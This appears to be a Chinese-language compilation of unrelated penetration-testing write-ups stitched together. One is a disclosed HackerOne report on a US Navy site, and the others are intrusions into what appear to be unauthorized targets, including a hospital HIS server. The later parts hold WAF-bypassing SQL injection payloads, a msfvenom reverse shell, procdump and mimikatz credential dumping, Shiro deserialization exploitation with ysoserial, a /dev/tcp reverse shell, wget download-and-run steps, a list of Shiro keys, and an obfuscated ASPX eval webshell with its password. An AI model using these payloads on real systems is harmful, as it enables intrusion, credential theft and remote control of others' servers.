2019年8月

1.jpg

最近,作者通过HackerOne的美国国防部漏洞众测项目(Hack The Pentagon),发现了美国海军某网站的敏感信息泄露和SQL注入两个高危严重漏洞,漏洞非常容易发现且安全风险极高,以下是相关分享。

#519418 - 敏感信息泄露
#519631 - SQL注入

发现漏洞

由于我将在2020年底上大学,因此最近我打算申请美国海军后备军官训练队的奖学金(Naval ROTC),出于这个原因,在访问海军部队申请奖学金的教育培训网站时,我也顺便做了一些安全测试。当然,该海军相关网站也在HackerOne的美国国防部漏洞众测项目范围之内。令我惊讶的是,我竟然在这个网站中发现了多个高危和严重级别漏洞,其中两个尤为特别。

敏感信息泄露漏洞

我在对网站应用的侦察识别过程中,执行了对其子目录/nrotc的未授权Web路径猜解扫描,之后,发现了一个名为Trace.axd的页面,该页面的状态响应码为302,访问它时会跳转到一个登录页面。

Trace.axd:跟踪查看器,ASP.NET架构中的调试器,可用来配置代码跟踪服务以控制如何收集、存储和显示跟踪结果。在网站应用启用该跟踪功能后,可以使用Trace.axd来查看 ASP.NET 收集并缓存的跟踪信息。

然后,我换Firefox打开/nrotc/Trace.axd页面,在其跳转的登录页面中,我输入了一些测试用的常用用户名密码提交,想想它会做何响应。碰巧一对用户名密码登录成功,/nrotc/Trace.axd页面状态响应码为200,最后进入的是一个标题名为“Application Trace”(应用跟踪)的页面。

该页面与网站其它页面不同,我猜想它是Web服务或应用程序的内置调试页面。果然谷歌了一番,我才知道,Trace.axd是ASP.NET中的调试功能,可以保存一些HTTP请求的应用缓存信息。默认情况下,该调试功能只能通过localhost的本机才能访问。我都能远程访问了,这也就是说,该功能可能被人为错误配置远程开启了。

综合来看,值得注意的是:如果我们在使用ASP.NET架构的目标网站上发现一个SSRF漏洞,那么,最简单的提权方法就是,看看我们能否有对Trace.axd的访问权限。

接下来,我想看看这个调试功能页面具体会返回什么,通过一些请求后,我发现其响应返回了一些敏感信息,包括网站注册人员的社会安全号码、用户名、邮箱地址、明文密码、会话token、CSRF token,以及如软件、文件系统和HTTP头等其它一些应用程序特定信息。

2.png

这就说明问题了,这绝对是一个严重漏洞(Critical),如此简单且无需提权,但却极具威胁影响。由于任何人都可到该网站上注册账号,所以任何人都可能发现该漏洞。

SQL注入漏洞

与此同时,我决定再利用上述的调试器功能来对网站做一些深入的测试分析,果不其然,我通过/nrotc/Trace.axd页面,又发现了另外一些我用工具dirsearch无法探测到的网页。

但这些发现的大多数应用页面需要一定的权限才能有效正常响应,但我在该网站注册的账号只属于普通账号,所以我也无法对这些页面深入分析了。某种程度上来说,虽然可以用上述Trace.axd调试器页面的响应信息去劫持一些高权限用户的会话Session,但我觉得那种构造利用太过于复杂了。

穷途末路之时,我发现在一个子目录下,除一个特殊页面之外,其它所有页面都需要更高权限才能访问。于是,我就反回来在Trace.axd中寻找针对这个特殊页面的请求,发现了其POST的请求主体内容,紧接着,我重放了这个请求,但我的会话token就被包含进去了,我捣鼓着尝试把POST中的参数,更改为一些测试SQL注入或XSS的Payload - ’”> 。

这下,让我惊讶的是,其中的一个参数竟然存在SQL注入!这种军方系统,还是不敢太过深入,所以我没做进一步的SQL注入代码执行,验证了就行,就点到为止吧。赶紧上报漏洞。

由于我发现上报的以上两个漏洞,我被美国国防部网络犯罪中心(Department of Defense Cyber Crime Center ,DC3)评为当月最佳安全研究员。

经验总结

此外,我对多个美国海军网站进行安全测试后,我得到的一点经验就是:在做前期踩点侦察时对 JavaScript 的逆向分析也很重要,通常,很多Web开发人员会在 JavaScript中留下一些未做明显标记但却可以实现的API功能,而且,这些隐藏功能漏洞百出且很少会被人发现,因此,非常值得对它们进行深入测试。

漏洞上报和处理进程

2019年3月31日: 上报敏感信息泄露漏洞
2019年4月1日:  上报SQL注入漏洞
2019年4月10日: 敏感信息泄露漏洞被修复
2019年4月11日: SQL注入漏洞被修复
2019年5月6日:  美国国防部评定为[当月最佳安全研究员][6]  
2019年8月19日: 在HackerOne上披露以上两个漏洞

1.png

先收集一下信息,使用php开发的站,web中间件Apache。放到指纹识别的网站尝试一下,没获得什么额外的信息。

2.png

3.png

扫一下端口,发现开放了21,,80,3306端口。在代理环境下用nmap会有问题,于是用了自己写的一个用http连接来扫描端口的py脚本。

4.png

5.png

接下来打开Burp,爬一下目录,同时打开御剑,爆一下目录。但是没发现敏感目录。

6.png

用Burp跑了一下后台路径字典,没爆到后台或者敏感的目录。

7.png

接下来看一下网站的内容。

发现一处提交单引号就会报错。

8.png

从报错信息看到,post提交的参数插入到sql查询语句了,而且对单引号 ’ 前添加了 进行转义。但是这个注入点从sql语句看到,是数值型注入,不需要使用 ‘ 进行闭合。
要利用这里的注入,首先不要使用 ’ 。
对这个注入点做深入的尝试。由于能回显报错信息,因此先考虑报错注入。
尝试updatexml报错。Payload:
wid=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

9.png

在页面里显示响应内容就是:

10.png

有waf
那这个注入点能不能利用呢?
先fuzz测试一下会过滤哪些字符。

11.png

select from ,union select , updatexml会被过滤。
过滤的关键词不多,但是select from 被过滤了。
接下来fuzz一下select from 能不能绕过过滤。

12.png

找到一种能绕过waf并且能被解析的方式。

接下来在payload中尝试一下。

13.png

14.png

能出数据了。但是可以看到并非root用户,登陆主机也有指定。
查询当前数据库。

15.png

查询表。

16.png

17.png

当前数据库有26张表。

18.png

查到有一张表名为master。
对这张master表深入查询。
有id,password,username等列。

19.png

20.png

21.png

对master表的内容查询,里面只有1条记录。查询到了其username和password。而且这个password是明文存储的。
可惜爆破不到后台路径,在Google使用inurl://和site://也没找到后台路径。
在网站首页有登陆和注册的功能,尝试使用查出来的master表的账号密码进行登陆,登陆失败。前台普通用户登陆并不使用master表的记录。
在当前数据库里面除了master表,还有张member表,查一下这个member表里面的数据。

22.png

这个表里面有6041条记录,有name,password等列。

查询表里面的记录,先查第一条记录,查询到name为admin,password为123456的md5值。
在前台使用这个账号密码登陆,登陆成功。

23.png

但是只是普通会员,而且也过期了。

在member表里面找一个不是普通会员的,看看怎样。
找到一个高级会员账号,并且爆破了它的密码明文。

24.png

这个密码看起来像是一个手机。
尝试登陆。

25.png

成功登陆,高级会员账号,而且未过期。
看下个人中心里能干什么。

26.png

基本什么都不能干。
再看下个人设置。

27.png

没有上传图片的功能点。

个人信息和修改密码目测也是存在注入的了,找回密码用Burp抓包看了一下,没发现有问题。

没有上传点,找不到后台路径,下面考虑直接在mysql中写shell。

28.png

Mysql版本5.5,没有网站绝对路径,数据库账户没写入权限。
Select into outfile 是行不通了。

考虑general_log。

29.png

General_log变量值默认是off,在这里也是off,而且也需要文件包含漏洞,看来是没戏了。
最后尝试了爆破21端口,无果。

这个网站在登陆后看文章那里有评论功能,其实可以尝试在这里xss,看后台会不会审核这个留言,而通过xss获取后台路径。不过vps刚过期,不搞这个了。

至此,对该网站的渗透结束,存在sql注入漏洞并且能够绕过waf进行利用,但是没能getshell。

Ps:这款waf是云锁waf

信息收集

IP:202.194.xx.xxx

开放82端口

1.png

竟然是XAMPP,扫一下目录吧。说不定会遇到phpmyadmin。

2.png

不幸的是phpmyadmin为403禁止访问,看一下down目录吧

3.png

还真有东西。而且好像是HIS系统。

his.db为数据库文件,his.tar是his系统文件的备份。

4.png

下载his.tar备份进行查看。竟然是perl语言(话说这个语言不大多在linux下运行么)

使用SQLite数据库

5.png

部署在windows7上

6.png

文件上传

翻找源文件查看到首页地址。

7.png

尝试登录了几次遂放弃。

直接搜索uplaod关键字,看是否存在文件上传。

8.png

竟然可以未授权文件上传。且没有任何过滤。

因为使用了XAMPP安装包,猜测支持php语言。上传php文件没有解析,真是神奇。

没有办法,硬着头皮根据下载的源码进行修改,不会perl语言的我只会简单地执行系统命令。

源码为:

#!"D:\Strawberry\perl\bin\perl"
# 上传文件的程序,用来单位上统一收集文件。
print  "Content-type: text/html\n\n";
$files_print = `whoami`;
print "<pre> $files_print </pre>";

9.png

但是这样通过文件上传来执行命令,太麻烦啦。

想直接使用msfvenom生成的perl木马,访问后上线。但访问后服务器500。

msfvenom -p cmd/unix/reverse_perl LHOST=144.xxx.xxx.xxx  LPORT=2333 -f raw > shell.pl

最终在github上找到一个大佬的perl大马,终于可以正常执行。

perl大马

10.png

IP为内网。使用msf马,上线后转发3389端口即可登录。

11.png

查看进程发现存在多个防护。添加用户是不可能了。

还是老办法。prodump+mimikatz完美绕过。

procdump.exe -accepteula -ma lsass.exe lsass.dmp

12.png

再在本地上使用mimikatz读取。

(系统竟然是windows7 32位的,导致浪费了一些时间)

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

13.png

ok!有了密码,静待登录。

msf上线

对exe木马进行免杀处理,执行后可成功上线。

14.png

端口转发3396远程桌面。

portfwd  add  -l  3396  -r  192.168.0.6  -p 3396

15.png

在登录时,使用windows远程连接时,出现”由于数据加密错误,这个会话将结束。请重新连接到远程计算机”。改用kali的rdesktop命令可解决该问题。

1.png

2.jpg

目标站返回rememberMe的cookie字段或者在请求包中含有rememberMe的cookie字段的时候,说明该目标站是用了shiro框架。

漏洞利用:

1.猜解密钥

前文中提到的硬编码的密钥,在实际生产环境中不同的项目可能会存在不同的密钥(key),从github上搜集了部分常用的key用于猜解,这里用到dnslog来判断是否成功。

3.jpg

可以看到当Key为kPH+bIxk5D2deZiIxcaaaA==时,服务器收到了目标站的请求,这里我们可以确定该站的key为kPH+bIxk5D2deZiIxcaaaA==

2.命令执行

这里我们利用ysoserial工具进行漏洞利用.

在服务器上执行

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2020 CommonsCollections1 'ping -c 1 sl0437.ceye.io'

4.jpg

可以看到已经接收到了目标站的请求,并且payload发送给目标站以后成功执行了ping命令.说明目标站CommonsCollections1存在反序列化漏洞。

3.反弹shell

在实战中发现,虽然可以成功执行命令了,但是由于runtime等环境因素并不能直接反弹shell,这个可以采用先下载后运行的方式。

/bin/bash -i >& /dev/tcp/*.*.*.*/2019 0>&1

将反弹shell的命令写成txt然后放在web目录下,

然后重新步骤2,这里修改一下执行的命令即可

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2020 CommonsCollections1 'wget http://*.*.*.*:8080/1.txt'

5.jpg

再依次在服务器上执行

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2020 CommonsCollections1 'sh 1.txt'

nc -lvv 2019

再次访问后成功获取到shell

6.jpg

收集到的key

4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
2AvVhdsgUs0FSA3SDFAdag==
wGiHplamyXlVB11UXWol8g==
kPH+bIxk5D2deZiIxcaaaA==
fCq+/xW488hMTCD+cmJ3aQ==
1QWLxg+NYmxraMoxAXu/Iw==
ZUdsaGJuSmxibVI2ZHc9PQ==
L7RioUULEFhRyxM7a2R/Yg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
r0e3c16IdVkouZgk1TKVMg==
ZWvohmPdUsAWT3=KpPqda
5aaC5qKm5oqA5pyvAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
LEGEND-CAMPUS-CIPHERKEY==
3AvVhmFLUs0KTA3Kprsdag==

<%@ Page Language = Jscript %>           
                     

<% 
var 
/*-/*-*/ 
P 
/*-/*-*/ 
= 
/*-/*-*/ 
"e" 
+ 
"v" 
+ 
/*-/*-*/ 
                     

"a" 
+ 
"l" 
+ 
"(" 
+ 
"R" 
+ 
"e" 
+ 
/*-/*-*/ 
"q" 
+ 
"u" 
+ 
"e" 
/*-/*-*/ 
+ 
"s" 
+ 
"t" 
+           
                     

"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]" 
+           
                     

"," 
+ 
"\"" 
+ 
"u" 
+ 
"n" 
+ 
"s" 
/*-/*-*/ 
+ 
"a" 
+ 
"f" 
+ 
"e" 
+ 
"\"" 
+ 
")" 
;eval           
                     

( 
/*-/*-*/ 
P 
/*-/*-*/ 
, 
/*-/*-*/ 
"u" 
+ 
"n" 
+ 
"s" 
/*-/*-*/ 
+ 
"a" 
+ 
"f" 
+ 
"e" 
/*-/*-*/ 
);%>

密码 -7